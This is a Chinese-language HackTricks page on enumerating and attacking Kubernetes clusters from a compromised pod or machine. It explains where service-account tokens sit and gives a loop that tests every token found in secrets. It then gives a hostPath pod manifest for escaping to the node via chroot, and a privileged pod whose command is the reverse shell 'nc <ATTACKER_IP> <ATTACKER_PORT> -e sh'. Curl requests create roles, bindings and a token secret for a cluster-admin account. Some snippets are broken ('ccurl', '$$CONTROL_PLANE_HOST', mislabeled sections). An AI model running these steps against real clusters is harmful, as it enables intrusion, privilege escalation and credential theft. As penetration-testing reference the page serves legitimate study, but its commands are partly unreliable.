Kubernetes Enumeration
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Kubernetes Tokens
如果您已经获得了对某台机器的访问权限,用户可能会访问某些 Kubernetes 平台。令牌通常位于 env var KUBECONFIG 指向的文件中或 在 ~/.kube 内。
在此文件夹中,您可能会找到包含 连接到 API 服务器的令牌和配置的配置文件。在此文件夹中,您还可以找到一个缓存文件夹,其中包含先前检索的信息。
如果您在 Kubernetes 环境中已攻陷一个 pod,还有其他地方可以找到令牌和有关当前 K8 环境的信息:
Service Account Tokens
在继续之前,如果您不知道 Kubernetes 中的服务是什么,我建议您 查看此链接并至少阅读有关 Kubernetes 架构的信息。
摘自 Kubernetes documentation:
“当您创建一个 pod 时,如果您没有指定服务帐户,它会自动分配到同一命名空间中的 default 服务帐户。”
ServiceAccount 是由 Kubernetes 管理的对象,用于为在 pod 中运行的进程提供身份。
每个服务帐户都有一个与之相关的秘密,该秘密包含一个承载令牌。这是一个 JSON Web Token (JWT),用于在两个方之间安全地表示声明的方法。
通常 一个 目录:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
包含以下文件:
- ca.crt: 它是检查 Kubernetes 通信的 CA 证书
- namespace: 它指示当前命名空间
- token: 它包含当前 pod 的 服务令牌。
现在您有了令牌,可以在环境变量 KUBECONFIG 中找到 API 服务器。有关更多信息,请运行 (env | set) | grep -i "kuber|kube"
服务帐户令牌由位于文件 sa.key 中的密钥签名,并由 sa.pub 验证。
在 Kubernetes 的默认位置:
- /etc/kubernetes/pki
在 Minikube 的默认位置:
- /var/lib/localkube/certs
Hot Pods
Hot pods 是 包含特权服务帐户令牌的 pods。特权服务帐户令牌是具有执行特权任务权限的令牌,例如列出秘密、创建 pods 等。
RBAC
如果您不知道 RBAC 是什么,请 阅读本节。
GUI Applications
- k9s: 一个从终端枚举 Kubernetes 集群的 GUI。查看 https://k9scli.io/topics/commands/ 中的命令。输入
:namespace并选择所有,然后在所有命名空间中搜索资源。 - k8slens: 提供一些免费试用天数: https://k8slens.dev/
Enumeration CheatSheet
为了枚举 K8s 环境,您需要以下几项:
- 一个 有效的身份验证令牌。在上一节中,我们看到在哪里搜索用户令牌和服务帐户令牌。
- Kubernetes API 的地址 (https://host:port)。这通常可以在环境变量和/或 kube 配置文件中找到。
- 可选: ca.crt 以验证 API 服务器。这可以在与令牌相同的位置找到。这对于验证 API 服务器证书很有用,但使用
--insecure-skip-tls-verify与kubectl或-k与curl时,您不需要这个。
有了这些细节,您可以 枚举 Kubernetes。如果 API 出于某种原因通过 Internet 可访问,您可以直接下载该信息并从您的主机枚举该平台。
然而,通常 API 服务器位于内部网络中,因此您需要 通过被攻陷的机器创建一个隧道 以从您的机器访问它,或者您可以 上传 kubectl 二进制文件,或使用 curl/wget/anything 对 API 服务器执行原始 HTTP 请求。
Differences between list and get verbs
使用 get 权限,您可以访问特定资产的信息 (describe 选项在 kubectl) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
如果您拥有 list 权限,则可以执行 API 请求以列出某种资产 (kubectl 中的 get 选项):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
如果您拥有 watch 权限,则可以执行 API 请求以监视资产:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
他们打开一个流连接,每当 Deployment 发生变化(或创建新的 Deployment 时)就会返回完整的清单。
Caution
以下
kubectl命令仅指示如何列出对象。如果您想访问数据,您需要使用describe而不是get
使用 curl
在 pod 内部,您可以使用多个环境变量:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
默认情况下,pod 可以 访问 域名为
kubernetes.default.svc的 kube-api 服务器,您可以在/etc/resolv.config中看到 kube 网络,在这里您将找到 kubernetes DNS 服务器的地址(同一范围的 “.1” 是 kube-api 端点)。
使用 kubectl
拥有令牌和 API 服务器地址后,您可以使用 kubectl 或 curl 访问它,如此处所示:
默认情况下,APISERVER 使用 https:// 协议进行通信。
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
如果 URL 中没有
https://,您可能会遇到类似 Bad Request 的错误。
您可以在这里找到官方的 kubectl 备忘单。以下部分的目标是以有序的方式展示不同的选项,以枚举和理解您已获得访问权限的新 K8s。
要找到 kubectl 发送的 HTTP 请求,您可以使用参数 -v=8。
MitM kubectl - 代理 kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
当前配置
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
如果你成功窃取了一些用户凭据,你可以使用类似的方式在本地配置它们:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
获取支持的资源
通过这些信息,您将知道可以列出所有服务
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
获取当前权限
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
检查您的权限的另一种方法是使用工具:https://github.com/corneliusweig/rakkess****
您可以在以下内容中了解更多关于 Kubernetes RBAC 的信息:
Kubernetes Role-Based Access Control(RBAC)
一旦您知道自己拥有的权限,请查看以下页面以确定 您是否可以利用这些权限 来提升权限:
Abusing Roles/ClusterRoles in Kubernetes
获取其他角色
k get roles
k get clusterroles
获取命名空间
Kubernetes 支持 多个虚拟集群,这些集群由同一个物理集群支持。这些虚拟集群称为 命名空间。
k get namespaces
获取秘密
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
如果您可以读取秘密,您可以使用以下行获取与每个令牌相关的权限:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
获取服务账户
如本页开头所述,当一个 pod 运行时,通常会分配一个服务账户给它。因此,列出服务账户、它们的权限以及它们运行的位置可能允许用户提升权限。
k get serviceaccounts
获取部署
部署指定了需要运行的组件。
k get deployments
k get deployments -n custnamespace
获取 Pods
Pods 是实际的 容器,将会 运行。
k get pods
k get pods -n custnamespace
获取服务
Kubernetes 服务用于 在特定端口和 IP 上暴露服务(这将充当实际提供服务的 pod 的负载均衡器)。 这很有趣,因为可以知道在哪里找到其他服务以尝试攻击。
k get services
k get services -n custnamespace
获取节点
获取集群内配置的所有节点。
k get nodes
获取 DaemonSets
DaemonSets 允许确保 特定的 pod 在集群的所有节点上运行(或在选定的节点上)。如果您删除 DaemonSet,受其管理的 pods 也将被删除。
k get daemonsets
获取 cronjob
Cron jobs 允许使用类似 crontab 的语法调度启动一个 pod 来执行某些操作。
k get cronjobs
获取 configMap
configMap 通常包含大量信息和配置文件,这些文件提供给在 Kubernetes 中运行的应用程序。通常,您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。
k get configmaps # -n namespace
获取网络策略 / Cilium 网络策略
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
获取所有信息 / 全部
k get all
获取所有由 helm 管理的资源
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
获取 Pods 消耗情况
k top pod --all-namespaces
在不使用 kubectl 的情况下与集群交互
由于 Kubernetes 控制平面暴露了 RESTful API,您可以手动构造 HTTP 请求,并使用其他工具发送它们,例如 curl 或 wget。
从 pod 中逃逸
如果您能够创建新的 pod,您可能能够从中逃逸到节点。为此,您需要使用 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 进入节点的系统。您可以使用已经存在的 pod 作为 yaml 文件的参考,因为它们显示了现有的镜像和路径。
kubectl get pod <name> [-n <namespace>] -o yaml
如果您需要在特定节点上创建 pod,可以使用以下命令获取节点上的标签
k get nodes --show-labels通常,kubernetes.io/hostname 和 node-role.kubernetes.io/master 是选择的好标签。
然后您创建您的 attack.yaml 文件
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
在那之后,你创建了 pod
kubectl apply -f attacker.yaml [-n <namespace>]
现在您可以按如下方式切换到创建的 pod
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
最后,您 chroot 进入节点的系统。
chroot /root /bin/bash
从以下信息获取: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
创建特权 Pod
相应的 yaml 文件如下:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
使用 curl 创建 pod:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
删除一个 pod
使用 curl 删除一个 pod:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
创建服务账户
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
删除服务账户
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
创建角色
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
删除角色
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
创建角色绑定
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
删除角色绑定
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
删除一个秘密
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
删除一个秘密
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
参考
Kubernetes Pentest Methodology Part 3
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

